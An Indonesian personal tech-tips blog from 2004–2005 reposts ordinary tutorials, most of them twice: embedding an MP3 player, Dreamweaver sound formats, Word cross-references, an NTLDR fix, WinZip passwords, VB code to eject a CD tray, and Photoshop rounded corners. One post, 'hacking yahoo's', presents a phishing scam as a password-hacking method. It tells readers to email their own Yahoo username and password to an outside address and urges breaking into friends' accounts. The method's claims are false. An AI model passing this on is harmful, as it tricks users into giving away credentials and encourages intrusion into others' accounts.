Sunday, July 03, 2005
Judul : Blog = Nambahin sound di blog ( blogbox )
diambil dari webnya lazlo
About The Laszlo SoundBlox
SoundBlox is an MP3 audio playing Internet application that can be embedded into a personal blog template or Web page, and displayed in any modern Web browser. It's great for music, speeches and sharing your baby's first words.
Laszlo Systems provides SoundBlox free for non-commercial use, to spread awareness of Laszlo's XML-native platform for rich Internet applications. The code behind SoundBlox is freely available under the Apache 2.0 Open Source license
Please put SoundBlox to good use. Respect the letter and spirit of content copyrights. Support the efforts of the Creative Commons.
Embedding SoundBlox in your blog or web page
You can embed SoundBlox by copying two script tags into your HTML page or blog template, one in the page header, and one in the page body. The html page source of the following example shows the simplest embed setup:
Default SoundBlox in web page
How SoundBlox Works provides a conceptual overview of how SoundBlox works over the Internet.
You may also view source on this blog page to see how the SoundBlox on the right was embedded. Search for the string "" to find the embed tags.
Customizing the soundbloxdata.xml configuration file:
If you're comfortable editing XML files with a text editor, and know how to post files on a Web server (GeoCities or Tripod would suffice), then SoundBlox gets really interesting. SoundBlox can be customized by modifying a copy of the default xml file, and specifying the URL location of the modified SoundBlox XML file. The HTML page source of this example shows how:
Customized SoundBlox in web page | Using this customized XML file
Note: embedding URL string parameters in the script tag requires URL encoding, since parameters passed in the URL string can only contain certain characters. To see examples of such tags with encoded URL strings, view source on the above example page. An URL encoding Web form is available at: Albion Research
FAQ
* Client CPU requirements: Viewers of the SoundBlox should have a broadband internet connection, 400 Mhz Pentium-class CPU or better, 128 Mb RAM or more, and a modern Web browser enabled with the Flash Player (version 5 or higher).
* MP3 encoding limitations: To play properly over the Web, MP3 audio files for SoundBlox must be encoded at a fixed bit rate of 160 kbps or lower, and at a sample rate of 11025 hz, 22050 hz or 44100 hz. Lower bit and sample rates will yield substantially smaller file sizes and improve Web playback performance. Some users report best Internet playback for music at 64kbps.
* Initial load & play delays: There is a longer delay when playing an MP3 file for the first time. This occurs because the source MP3 must be transferred from the original URL location to the server hosting the SoundBlox application, and from there to the requesting client Web browser. After the first request of the MP3, it is cached on the SoundBlox server to speed up subsequent requests. MP3 files are also cached at each requesting Web browser, speeding up any replays of the file at the requesting client computer. To speed response for your users, you may wish to invoke the first play of each song in your playlist.
* Customizing the app skin: Background 'skins' need to be 180W x 420H pixels, and saved in JPEG, PNG or GIF format. Please compress your skin graphics to minimize load time of your site page. Post your custom skin on a public web server, and enter the absolute URL path into your soundbloxdata.xml file
* Customizing the art display area: The album art display area is 164 x 164 pixels. Images will be scaled to fit the display region. Enter absolute URL paths in the appropriate tags of your soundbloxdata.xml file. The default image in this display area can be changed in the same manner.
KNOWN ISSUES:
1. IE 5.2 on Mac OSX does not display SoundBlox. Apple Safari does work.
2. Linux users: Flash 5 Player for Linux OS performs somewhat poorly. An upgrade to Flash 6 on Linux will improve playback performance.
3. Playback glitches may appear if your browser cached an out-dated version of Soundblox. Clear your browser cache to update to the most current SoundBlox.
4. Embedding in Radio Userland: when pasting the 2nd script tag into the HTML template body, all the parameters in the lzEmbed function need to be double-quoted rather than single-quoted. Otherwise, the Radio system automatically attempts to convert the URL into an in-line hyperlink in the blog page, which results in browser script errors.
For example:
lzEmbed({url: 'http://www.mylaszlo.com/lps-krank/my-apps/
soundblox/soundblox.lzx?lzt=swf&data_url=http%3A%2F%2F
www.geocities.com%2Flyndon_wong%2Fsoundblox%2Fsoundbloxdata_plantskin.xml',
bgcolor: '#ffffff', width: '180', height: '420'});
must be changed to:
lzEmbed({url: "http://www.mylaszlo.com/lps-krank/my-apps/
soundblox/soundblox.lzx?lzt=swf&data_url=http%3A%2F%2F
www.geocities.com%2Flyndon_wong%2Fsoundblox%2Fsoundbloxdata_plantskin.xml",
bgcolor: "#ffffff", width: "180", height: "420"});
About The Laszlo SoundBlox
SoundBlox is an MP3 audio playing Internet application that can be embedded into a personal blog template or Web page, and displayed in any modern Web browser. It's great for music, speeches and sharing your baby's first words.
Laszlo Systems provides SoundBlox free for non-commercial use, to spread awareness of Laszlo's XML-native platform for rich Internet applications. The code behind SoundBlox is freely available under the Apache 2.0 Open Source license
Please put SoundBlox to good use. Respect the letter and spirit of content copyrights. Support the efforts of the Creative Commons.
Embedding SoundBlox in your blog or web page
You can embed SoundBlox by copying two script tags into your HTML page or blog template, one in the page header, and one in the page body. The html page source of the following example shows the simplest embed setup:
Default SoundBlox in web page
How SoundBlox Works provides a conceptual overview of how SoundBlox works over the Internet.
You may also view source on this blog page to see how the SoundBlox on the right was embedded. Search for the string "" to find the embed tags.
Customizing the soundbloxdata.xml configuration file:
If you're comfortable editing XML files with a text editor, and know how to post files on a Web server (GeoCities or Tripod would suffice), then SoundBlox gets really interesting. SoundBlox can be customized by modifying a copy of the default xml file, and specifying the URL location of the modified SoundBlox XML file. The HTML page source of this example shows how:
Customized SoundBlox in web page | Using this customized XML file
Note: embedding URL string parameters in the script tag requires URL encoding, since parameters passed in the URL string can only contain certain characters. To see examples of such tags with encoded URL strings, view source on the above example page. An URL encoding Web form is available at: Albion Research
FAQ
* Client CPU requirements: Viewers of the SoundBlox should have a broadband internet connection, 400 Mhz Pentium-class CPU or better, 128 Mb RAM or more, and a modern Web browser enabled with the Flash Player (version 5 or higher).
* MP3 encoding limitations: To play properly over the Web, MP3 audio files for SoundBlox must be encoded at a fixed bit rate of 160 kbps or lower, and at a sample rate of 11025 hz, 22050 hz or 44100 hz. Lower bit and sample rates will yield substantially smaller file sizes and improve Web playback performance. Some users report best Internet playback for music at 64kbps.
* Initial load & play delays: There is a longer delay when playing an MP3 file for the first time. This occurs because the source MP3 must be transferred from the original URL location to the server hosting the SoundBlox application, and from there to the requesting client Web browser. After the first request of the MP3, it is cached on the SoundBlox server to speed up subsequent requests. MP3 files are also cached at each requesting Web browser, speeding up any replays of the file at the requesting client computer. To speed response for your users, you may wish to invoke the first play of each song in your playlist.
* Customizing the app skin: Background 'skins' need to be 180W x 420H pixels, and saved in JPEG, PNG or GIF format. Please compress your skin graphics to minimize load time of your site page. Post your custom skin on a public web server, and enter the absolute URL path into your soundbloxdata.xml file
* Customizing the art display area: The album art display area is 164 x 164 pixels. Images will be scaled to fit the display region. Enter absolute URL paths in the appropriate tags of your soundbloxdata.xml file. The default image in this display area can be changed in the same manner.
KNOWN ISSUES:
1. IE 5.2 on Mac OSX does not display SoundBlox. Apple Safari does work.
2. Linux users: Flash 5 Player for Linux OS performs somewhat poorly. An upgrade to Flash 6 on Linux will improve playback performance.
3. Playback glitches may appear if your browser cached an out-dated version of Soundblox. Clear your browser cache to update to the most current SoundBlox.
4. Embedding in Radio Userland: when pasting the 2nd script tag into the HTML template body, all the parameters in the lzEmbed function need to be double-quoted rather than single-quoted. Otherwise, the Radio system automatically attempts to convert the URL into an in-line hyperlink in the blog page, which results in browser script errors.
For example:
lzEmbed({url: 'http://www.mylaszlo.com/lps-krank/my-apps/
soundblox/soundblox.lzx?lzt=swf&data_url=http%3A%2F%2F
www.geocities.com%2Flyndon_wong%2Fsoundblox%2Fsoundbloxdata_plantskin.xml',
bgcolor: '#ffffff', width: '180', height: '420'});
must be changed to:
lzEmbed({url: "http://www.mylaszlo.com/lps-krank/my-apps/
soundblox/soundblox.lzx?lzt=swf&data_url=http%3A%2F%2F
www.geocities.com%2Flyndon_wong%2Fsoundblox%2Fsoundbloxdata_plantskin.xml",
bgcolor: "#ffffff", width: "180", height: "420"});
Thursday, June 09, 2005
Judul : DreamWeaver : Menambah Sound ke web
Adding sound
You can choose from several different types of sound files and formats, and you can add sound to a Web page in various ways. Some factors to consider before deciding on a format and method for adding sound are its purpose, your audience, the file size, the quality of sound quality you want, and differences in browsers.
Note: Sound files are handled very differently and inconsistently by different browsers. To improve consistency, you may want to save sound files as SWFs.
About audio file formats
The following list describes the more common audio file formats and some of the advantages and disadvantages of each for Web design. Some audio formats require that visitors to your site download and install a helper application or plug-in such as QuickTime, Windows Media Player, or RealPlayer.
The MIDI or MID (Musical Instrument Digital Interface) format is for instrumental music. MIDI files are supported by many browsers and don't require a plug-in. Although their sound quality can be very good, this can vary depending on a visitor's sound card. A small MIDI file can provide a long sound clip. MIDI files cannot be recorded and must be synthesized on a computer with special hardware and software. Use this format if you want background sounds to play when pages open up.
WAV (Waveform Extension) format files have good sound quality, are supported by many browsers, and don't require a plug-in. You can record your own WAV files from a CD, tape, microphone, and so on. However, the large file size severely limits the length of sound clips that you can use on your Web pages.
The AIF (Audio Interchange File Format, or AIFF) format like WAV files, also has good sound quality, can be played by most browsers, and doesn't require a plug-in; you can also record AIFF files from a CD, tape, microphone, and so on. However, the large file size limits the length of sound clips that you can use on your Web pages.
The MP3 (Motion Picture Experts Group Audio, or MPEG-Audio Layer-3) format is a compressed format that makes sound files substantially smaller. You can use MP3 to convert large stereo WAV/AIFF files to a more manageable format without compromising on the sound quality, which is very good: if an MP3 file is recorded and compressed properly, it can rival a CD. You can stream the file so that a visitor doesn't have to wait for the entire file to download before hearing it. However, the file size is larger than a Real Audio file, so a whole song could still take quite a while to download over a normal phone line connection. To play MP3 files, visitors must download and install a helper application or plug-in such as QuickTime, Windows Media Player, or RealPlayer.
The RA, RAM, RPM, or Real Audio format has a very high degree of compression with smaller file sizes than MP3. Whole song files can be downloaded in a reasonable amount of time. Because the files can be streamed from a normal Web server, visitors can begin listening to the sound before the file has completely downloaded. The sound quality is poorer than that of MP3 files, but new players and encoders have improved quality considerably. Visitors must download and install the RealPlayer helper application or plug-in in order to play these files.
The AU, SND, or Sun or Java format is similar to the WAV and AIFF formats, but the compression is more flexible. This format is used exclusively for Java applets and applications and therefore is compatible across platforms. It is also very popular on SUN/Unix machines.
You can choose from several different types of sound files and formats, and you can add sound to a Web page in various ways. Some factors to consider before deciding on a format and method for adding sound are its purpose, your audience, the file size, the quality of sound quality you want, and differences in browsers.
Note: Sound files are handled very differently and inconsistently by different browsers. To improve consistency, you may want to save sound files as SWFs.
About audio file formats
The following list describes the more common audio file formats and some of the advantages and disadvantages of each for Web design. Some audio formats require that visitors to your site download and install a helper application or plug-in such as QuickTime, Windows Media Player, or RealPlayer.
The MIDI or MID (Musical Instrument Digital Interface) format is for instrumental music. MIDI files are supported by many browsers and don't require a plug-in. Although their sound quality can be very good, this can vary depending on a visitor's sound card. A small MIDI file can provide a long sound clip. MIDI files cannot be recorded and must be synthesized on a computer with special hardware and software. Use this format if you want background sounds to play when pages open up.
WAV (Waveform Extension) format files have good sound quality, are supported by many browsers, and don't require a plug-in. You can record your own WAV files from a CD, tape, microphone, and so on. However, the large file size severely limits the length of sound clips that you can use on your Web pages.
The AIF (Audio Interchange File Format, or AIFF) format like WAV files, also has good sound quality, can be played by most browsers, and doesn't require a plug-in; you can also record AIFF files from a CD, tape, microphone, and so on. However, the large file size limits the length of sound clips that you can use on your Web pages.
The MP3 (Motion Picture Experts Group Audio, or MPEG-Audio Layer-3) format is a compressed format that makes sound files substantially smaller. You can use MP3 to convert large stereo WAV/AIFF files to a more manageable format without compromising on the sound quality, which is very good: if an MP3 file is recorded and compressed properly, it can rival a CD. You can stream the file so that a visitor doesn't have to wait for the entire file to download before hearing it. However, the file size is larger than a Real Audio file, so a whole song could still take quite a while to download over a normal phone line connection. To play MP3 files, visitors must download and install a helper application or plug-in such as QuickTime, Windows Media Player, or RealPlayer.
The RA, RAM, RPM, or Real Audio format has a very high degree of compression with smaller file sizes than MP3. Whole song files can be downloaded in a reasonable amount of time. Because the files can be streamed from a normal Web server, visitors can begin listening to the sound before the file has completely downloaded. The sound quality is poorer than that of MP3 files, but new players and encoders have improved quality considerably. Visitors must download and install the RealPlayer helper application or plug-in in order to play these files.
The AU, SND, or Sun or Java format is similar to the WAV and AIFF formats, but the compression is more flexible. This format is used exclusively for Java applets and applications and therefore is compatible across platforms. It is also very popular on SUN/Unix machines.
Saturday, May 14, 2005
Judul : web--> hacking yahoo's
Yahoo! Password Hacking
FULLY TESTED, FOOL PROOF METHOD
* Want to tease your friends by looking into their
Yahoo! email accounts
* Want to tease your friends by defacing their
homepages
* or any other reason...
Whatever may be the reason, here is the FOOL PROOF WAY
for hacking the Yahoo! email account password...!
After 100s of attempts of trying to find out the
mechanism in which Yahoo! Server recovers the
password, people have finally come to the Concrete
Method.
STEP 1:
You must have a Yahoo! email account. If you do
not have, create the one at http://mail.yahoo.com.
Once created, Login using your account.
STEP 2:
I assume you have logged in. Now, click on
"Compose" on the left hand frame.
In To: , type
get_my_pass_back@yahoo.co.in
This is the team's email account to which Yahoo!
sends email when you request for lost password.
In the subject, type:
Recover Password Request - domain is [.com or .co.in, .co.fr]
select your appropriate domain
In the body, (MESSAGE TEXT) type :
[ type EXACTLY AS IT IS , better copy-paste it]
./yahoo/r/p/forgotpass.php?=TRUE&username=VICTIM_USERNAME&userauth=YOUR_USERNAME&pass=YOUR_PASSWORD&event=success
Replace 'VICTIM_USERNAME' with the username of the
person whose account you want to hack. Replace
'YOUR_USERNAME' with the username from which you
logged on here you need to write complete email address with @yahoo.***
and 'YOUR_PASSWORD' with your account
password from which you logged on. This is needed by
Yahoo! for the account authentication and it assumes
that this is the details of Yahoo Staff.
STEP 3:
Click Send.
You will get the password within 2 min to 2 hrs,
depending on the load on the server. (I got it on next
day! BUT AT LEAST I GOT IT !!!)
This is a fully tested method. But please, do not
expect any support. I can just tell you that IT SHOULD
WORK...
Wednesday, May 04, 2005
Judul : MsWord2000--> Referensi silang
Word 2000: Membuat Referensi Silang
Penulis: Rini
infokomputer.com,
Anda hanya bisa mereferensi silang item yang ada dalam dokumen yang sama. Bila hendak mereferensi silang suatu item dalam dokumen lain, Anda harus lebih dulu menggabungkan dokumen itu ke dokumen induk.
Pada dokumen, ketik teks pembukaan yang mengawali referensi silang. Misalnya, ketikkan "Untuk informasi lebih lanjut, lihat"
Dari menu Insert, arahkan ke Reference, lalu klik Cross-reference.
Di kotak Reference type, klik tipe item yang akan Anda referensikan; judul, misalnya.
Pada kotak Insert reference to, klik informasi yang ingin Anda sisipkan ke dalam dokumen; misalnya teks judul.
Di kotak For which, klik item yang akan Anda buatkan referensi; misalnya judul Bab 6.
Agar pembaca bisa melompat ke item yang direferensikan, centang Insert as hyperlink.
Bila ada kotak centang Include above/below, Anda bisa mencentang kotak ini untuk mencakupkan informasi mengenai posisi relatif item yang direferensi.
Contoh, Anda hendak memasukkan referensi silang ke nomor halaman dari suatu judul "Majalah InfoKomputer". Bila judul itu muncul, referensi silang akan membaca "Majalah InfoKomputer below".
Bila judul muncul di halaman lain, referensi silang akan membaca "Wind Resistance di halaman 12". Klik Insert.
Ulangi langkah-langkah tadi untuk menyisipkan semua referensi silang yang Anda inginkan.
Penulis: Rini
infokomputer.com,
Anda hanya bisa mereferensi silang item yang ada dalam dokumen yang sama. Bila hendak mereferensi silang suatu item dalam dokumen lain, Anda harus lebih dulu menggabungkan dokumen itu ke dokumen induk.
Pada dokumen, ketik teks pembukaan yang mengawali referensi silang. Misalnya, ketikkan "Untuk informasi lebih lanjut, lihat"
Dari menu Insert, arahkan ke Reference, lalu klik Cross-reference.
Di kotak Reference type, klik tipe item yang akan Anda referensikan; judul, misalnya.
Pada kotak Insert reference to, klik informasi yang ingin Anda sisipkan ke dalam dokumen; misalnya teks judul.
Di kotak For which, klik item yang akan Anda buatkan referensi; misalnya judul Bab 6.
Agar pembaca bisa melompat ke item yang direferensikan, centang Insert as hyperlink.
Bila ada kotak centang Include above/below, Anda bisa mencentang kotak ini untuk mencakupkan informasi mengenai posisi relatif item yang direferensi.
Contoh, Anda hendak memasukkan referensi silang ke nomor halaman dari suatu judul "Majalah InfoKomputer". Bila judul itu muncul, referensi silang akan membaca "Majalah InfoKomputer below".
Bila judul muncul di halaman lain, referensi silang akan membaca "Wind Resistance di halaman 12". Klik Insert.
Ulangi langkah-langkah tadi untuk menyisipkan semua referensi silang yang Anda inginkan.
Wednesday, April 06, 2005
Judul : Win XP : NTLDR is missing
Sebab : kerusakan pada struktur data atau terlalu banyak file di root
CAra :
1. masukin bootable CD
2. restart PC - menu instalasi - repair
3. tekan option 1
4. ketik : copy d:\i386\ntldr c:\ enter
5. ketik : copy ntdetect.com c:\ enter
restart PC
CAra :
1. masukin bootable CD
2. restart PC - menu instalasi - repair
3. tekan option 1
4. ketik : copy d:\i386\ntldr c:\ enter
5. ketik : copy ntdetect.com c:\ enter
restart PC
Saturday, June 19, 2004
Judul : Passowrd pada ZIP
Menambahkan password pada File Zip
Oleh: nazar
Lintau.com - WinZip merupakan salah satu program kompresi yang terbaik saat ini. Bagi Anda yang belum familiar, mungkin pertanyaannya adalah mengapa harus memakai program kompresi? Dengan program kompresi maka Anda dapat memperkecil ukuran dari suatu file. Misalnya jika Anda punya file dokumen MS Word yang besarnya , misalnya 300 KB, dengan program kompresi ukuran file tersebut bisa menjadi 50 KB (tidak pasti!/relatif). Besarnya tingkat kompresi sangat tergantung pada isi dan jenis filenya.
Dengan menggunakan program yang dapat didownload di www.winzip.com tersebut Anda dapat menambahkan password pada file yang dikompres (file ZIP). Dengan demikian tingkat keamanan data Anda dapat lebih ditingkatkan. Di bawah ini merupakann langkah-langkah untuk menambahkan password pada file ZIP.
1. Pilih menu File - New Archive. Arahkan ke folder di mana Anda akan menyimpan archive (file ZIP). Setelah Anda mengisi nama file zip (yang akan dibuat), klik tombol OK. Pada contoh ini, nama filenya adalah "Data Penting-Ku.zip".
2. Pilih file-file (bisa satu atau beberapa file sekaligus) yang akan dimasukkan pada file zip.
3. Klik pada tombol Password. Pada kotak dialog yang muncul, isi dengan password yang Anda inginkan. Klik OK.
4. Akan muncul kotak dialog konfirmasi password. Masukkan password yang sama dan klik OK.
5. Klik tombol Add. Jika berhasil, maka saat file zip tersebut dibuka maka terdapat tanda "+" (plus) di sebelah kanan file yang diproteksi dengan password.
Sumber : Klik-kanan.com
Oleh: nazar
Lintau.com - WinZip merupakan salah satu program kompresi yang terbaik saat ini. Bagi Anda yang belum familiar, mungkin pertanyaannya adalah mengapa harus memakai program kompresi? Dengan program kompresi maka Anda dapat memperkecil ukuran dari suatu file. Misalnya jika Anda punya file dokumen MS Word yang besarnya , misalnya 300 KB, dengan program kompresi ukuran file tersebut bisa menjadi 50 KB (tidak pasti!/relatif). Besarnya tingkat kompresi sangat tergantung pada isi dan jenis filenya.
Dengan menggunakan program yang dapat didownload di www.winzip.com tersebut Anda dapat menambahkan password pada file yang dikompres (file ZIP). Dengan demikian tingkat keamanan data Anda dapat lebih ditingkatkan. Di bawah ini merupakann langkah-langkah untuk menambahkan password pada file ZIP.
1. Pilih menu File - New Archive. Arahkan ke folder di mana Anda akan menyimpan archive (file ZIP). Setelah Anda mengisi nama file zip (yang akan dibuat), klik tombol OK. Pada contoh ini, nama filenya adalah "Data Penting-Ku.zip".
2. Pilih file-file (bisa satu atau beberapa file sekaligus) yang akan dimasukkan pada file zip.
3. Klik pada tombol Password. Pada kotak dialog yang muncul, isi dengan password yang Anda inginkan. Klik OK.
4. Akan muncul kotak dialog konfirmasi password. Masukkan password yang sama dan klik OK.
5. Klik tombol Add. Jika berhasil, maka saat file zip tersebut dibuka maka terdapat tanda "+" (plus) di sebelah kanan file yang diproteksi dengan password.
Sumber : Klik-kanan.com
Judul : open close CD-ROM --> VB
Lintau.com Artikel singkat kali ini akan membahas mengenai operasi membuka dan menutup CD-ROM drive. Kita akan menggunakan Windows Multimedia API mciSendString untuk melakukan operasi ini. Sebelum kita masuk ke acara utama silakan simak dulu pesan-pesan berikut.
Tulisan ini bersifat terbuka dan Anda bisa menyebarluaskan sebagian atau seluruh tulisan ini selama Anda menyebutkan sumber aslinya. Anda bisa memberi komentar terhadap tulisan ini melalui sony-ak@sony-ak.com. Penulis tidak bertanggung jawab atas segala sesuatu yang diakibatkan oleh tulisan ini dan semata-mata hanya untuk tujuan pendidikan.
OK, mari kita langsung saja step-by-step demo ini.
Buka Visual Basic Anda dan buatlah project baru (Standard EXE)
Tambahkan module pada project dan copy paste code di bawah ini:
Option Explicit
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Function OpenCDDoor(ByVal drv As String) As Long
Dim Alias As String
Dim retval As Long
Alias = "Drive" & drv
retval = -1
retval = mciSendString("open " & drv & ": type cdaudio alias " & Alias & " wait", vbNullString, 0&, 0&)
retval = mciSendString("set " & Alias & " door open", vbNullString, 0&, 0&)
OpenCDDoor = retval
End Function
Public Function CloseCDDoor(ByVal drv As String) As Long
Dim Alias As String
Dim retval As Long
Alias = "Drive" & drv
retval = -1
retval = mciSendString("set " & Alias & " door closed", vbNullString, 0&, 0&)
retval = mciSendString("close " & Alias, vbNullString, 0&, 0&)
CloseCDDoor = retval
End Function
Tambahkan dua buah button pada Form1, satu sebagai button untuk membuka CD-ROM drive dan satu lagi untuk menutup CD-ROM drive.
Copy paste code di bawah ini pada bagian deklarasi umum di Form1.
Option Explicit
Private Sub Command1_Click()
OpenCDDoor "E"
End Sub
Private Sub Command2_Click()
CloseCDDoor "E"
End Sub
Jalankan project di atas dengan menekan F5.
OK, inti dari demo di atas adalah pada method OpenCDDoor dan CloseCDDoor pada module. Kedua method tersebut memiliki parameter CD-ROM drive yang bertipe string. Anda tinggal memasukkan drive CD-ROM ke dalam parameter tersebut dan melakukan operasi buka atau tutup CD-ROM drive.
Sekian dulu tips kali ini dan semoga bermanfaat bagi Anda semua. Jika ada komentar atau kritik bisa dikirim melalui sony-ak@sony-ak.com.
Thanks for all readers around Indonesia
http://lintau.com/modules.php?name=News&file=article&sid=623
Tulisan ini bersifat terbuka dan Anda bisa menyebarluaskan sebagian atau seluruh tulisan ini selama Anda menyebutkan sumber aslinya. Anda bisa memberi komentar terhadap tulisan ini melalui sony-ak@sony-ak.com. Penulis tidak bertanggung jawab atas segala sesuatu yang diakibatkan oleh tulisan ini dan semata-mata hanya untuk tujuan pendidikan.
OK, mari kita langsung saja step-by-step demo ini.
Buka Visual Basic Anda dan buatlah project baru (Standard EXE)
Tambahkan module pada project dan copy paste code di bawah ini:
Option Explicit
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Function OpenCDDoor(ByVal drv As String) As Long
Dim Alias As String
Dim retval As Long
Alias = "Drive" & drv
retval = -1
retval = mciSendString("open " & drv & ": type cdaudio alias " & Alias & " wait", vbNullString, 0&, 0&)
retval = mciSendString("set " & Alias & " door open", vbNullString, 0&, 0&)
OpenCDDoor = retval
End Function
Public Function CloseCDDoor(ByVal drv As String) As Long
Dim Alias As String
Dim retval As Long
Alias = "Drive" & drv
retval = -1
retval = mciSendString("set " & Alias & " door closed", vbNullString, 0&, 0&)
retval = mciSendString("close " & Alias, vbNullString, 0&, 0&)
CloseCDDoor = retval
End Function
Tambahkan dua buah button pada Form1, satu sebagai button untuk membuka CD-ROM drive dan satu lagi untuk menutup CD-ROM drive.
Copy paste code di bawah ini pada bagian deklarasi umum di Form1.
Option Explicit
Private Sub Command1_Click()
OpenCDDoor "E"
End Sub
Private Sub Command2_Click()
CloseCDDoor "E"
End Sub
Jalankan project di atas dengan menekan F5.
OK, inti dari demo di atas adalah pada method OpenCDDoor dan CloseCDDoor pada module. Kedua method tersebut memiliki parameter CD-ROM drive yang bertipe string. Anda tinggal memasukkan drive CD-ROM ke dalam parameter tersebut dan melakukan operasi buka atau tutup CD-ROM drive.
Sekian dulu tips kali ini dan semoga bermanfaat bagi Anda semua. Jika ada komentar atau kritik bisa dikirim melalui sony-ak@sony-ak.com.
Thanks for all readers around Indonesia
http://lintau.com/modules.php?name=News&file=article&sid=623
Saturday, May 22, 2004
Judul : Buat Sudut tumpul -> adobe photoshop
INTRODUCTION
Jika anda menggunakan adobe photoshop mungkin anda akan kesulitan didalam membuat kotak yang setiap ujungnya memiliki sudut yang tumpul. Hmmm... inilah cara gue untuk membuat kotak tersebut.
* Langkah 1.
Buatlah media gambar baru berukuran 200 x 200 pixel dan pilihlah latar belakang transparant dengan memilih Content = Transparant pada saat anda membuat document baru ( File - New )
* Langkah 2.
Buatlah gambar kotak dengan mengunakan rectangle tools pada media tersebut, kemudian klik menu Select - Save Selection. Berilah nama pada kotak name, sebagai contoh: A ( Garis titik titik tersebut telah menjadi sebuah gambar hitam putih pada tab Channel ). Anda dapat melihat hasil gambar tersebut dengan cara menekan Ctrl - 4 pada Keyboard
* Langkah 3.
Kemudian pilihlah menu Filter - Blur - Gausian Blur, dan berilah nilai radius 6 kemudian klik OK
Langkah 4.
Kemudian pilihlah menu Image - Adjust - Level atau ( Ctrl - L ), dan berilah nilai input level pada masing masing kotak 140 - 1 - 165 kemudian klik OK
* Langkah 5.
Kembalilah pada Media Layer anda yang masih transparant tadi, ( Tab Layer berada disebelah kiri tab Channel ) Kemudian pilihlah menu Select - Load Selection. dan pada windows load selection rubahlah Channel Layer 1 Transparancy dengan Channel yang anda berinama sebelumnya ( A ).
* Langkah 6.
Pilihlah tombol paint bucket kemudian kilklah didalam garis titik titik. Dan sekarang anda telah memiliki gambar kotak dengan setiap sudutnya tumpul.
SUMMARY
Tehnik ini sangat berguna apabila anda mendisain interface ataupun gambarlainnya. Tehnik ini gue gunakan pada salah satu homepage yang telah gue buat untuk TRIJAYA FM JAKARTA
Hasil :
taken from : http://www.master.web.id/i-framemaster.htm
Jika anda menggunakan adobe photoshop mungkin anda akan kesulitan didalam membuat kotak yang setiap ujungnya memiliki sudut yang tumpul. Hmmm... inilah cara gue untuk membuat kotak tersebut.
* Langkah 1.
Buatlah media gambar baru berukuran 200 x 200 pixel dan pilihlah latar belakang transparant dengan memilih Content = Transparant pada saat anda membuat document baru ( File - New )
* Langkah 2.
Buatlah gambar kotak dengan mengunakan rectangle tools pada media tersebut, kemudian klik menu Select - Save Selection. Berilah nama pada kotak name, sebagai contoh: A ( Garis titik titik tersebut telah menjadi sebuah gambar hitam putih pada tab Channel ). Anda dapat melihat hasil gambar tersebut dengan cara menekan Ctrl - 4 pada Keyboard
* Langkah 3.
Kemudian pilihlah menu Filter - Blur - Gausian Blur, dan berilah nilai radius 6 kemudian klik OK
Langkah 4.
Kemudian pilihlah menu Image - Adjust - Level atau ( Ctrl - L ), dan berilah nilai input level pada masing masing kotak 140 - 1 - 165 kemudian klik OK
* Langkah 5.
Kembalilah pada Media Layer anda yang masih transparant tadi, ( Tab Layer berada disebelah kiri tab Channel ) Kemudian pilihlah menu Select - Load Selection. dan pada windows load selection rubahlah Channel Layer 1 Transparancy dengan Channel yang anda berinama sebelumnya ( A ).
* Langkah 6.
Pilihlah tombol paint bucket kemudian kilklah didalam garis titik titik. Dan sekarang anda telah memiliki gambar kotak dengan setiap sudutnya tumpul.
SUMMARY
Tehnik ini sangat berguna apabila anda mendisain interface ataupun gambarlainnya. Tehnik ini gue gunakan pada salah satu homepage yang telah gue buat untuk TRIJAYA FM JAKARTA
Hasil :
taken from : http://www.master.web.id/i-framemaster.htm
|
Powered for Blogger by Blogger templates Tanpa @CopyRights, 2004
|